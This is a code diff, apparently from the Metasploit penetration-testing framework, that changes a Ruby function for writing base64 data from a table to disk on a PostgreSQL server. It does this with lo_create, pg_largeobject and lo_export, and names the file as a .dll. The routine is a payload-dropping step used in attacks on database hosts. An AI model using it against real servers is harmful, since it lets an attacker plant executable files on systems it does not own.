@@ -325,20 +325,20 @@ def postgres_upload_binary_data(data, remote_fname=nil)
325
325
end
326
326
327
327
# Writes b64 data from a table field, decoded, to disk.
328
+ #
329
+ # This is accomplished with 3 sql queries:
330
+ # 1. select lo_create
331
+ # 2. version dependant:
332
+ # - on 9.x, insert into pg_largeobject
333
+ # - on older versions, update pg_largeobject
334
+ # 3. select lo_export to write the file to disk
335
+ #
328
336
def postgres_write_data_to_disk ( tbl , fld , remote_fname = nil )
329
337
oid = rand ( 60000 ) + 1000
330
338
remote_fname ||= Rex ::Text ::rand_text_alpha ( 8 ) + ".dll"
331
339
332
340
ver = postgres_fingerprint
333
341
case ver [ :auth ]
334
- when /PostgreSQL 8\. /
335
- # 8.x inserts the largeobject into the table when you do the
336
- # lo_create, so we with a value.
337
- queries = [
338
- "select lo_create(#{ oid } )" ,
339
- "update pg_largeobject set data=(decode((select #{ fld } from #{ tbl } ), 'base64')) where loid=#{ oid } " ,
340
- "select lo_export(#{ oid } , '#{ remote_fname } ')"
341
- ]
342
342
when /PostgreSQL 9\. /
343
343
# 9.x does *not* insert the largeobject into the table when you do
344
344
# the lo_create, so we must insert it ourselves.
@@ -348,10 +348,17 @@ def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
348
348
"select lo_export(#{ oid } , '#{ remote_fname } ')"
349
349
]
350
350
else
351
- # Since the technique required for uploading seems to change
352
- # between versions, complain that we don't know how to do it for
353
- # an unknown version.
354
- raise RuntimeError . new ( "Unknown Postgres version, don't know how to upload files" )
351
+ # 8.x inserts the largeobject into the table when you do the
352
+ # lo_create, so we with a value.
353
+ #
354
+ # 7.x is an unknown, but this behavior was the default before the
355
+ # addition of support for 9.x above, so try it this way and hope
356
+ # for the best
357
+ queries = [
358
+ "select lo_create(#{ oid } )" ,
359
+ "update pg_largeobject set data=(decode((select #{ fld } from #{ tbl } ), 'base64')) where loid=#{ oid } " ,
360
+ "select lo_export(#{ oid } , '#{ remote_fname } ')"
361
+ ]
355
362
end
356
363
357
364
queries . each do |q |
0 commit comments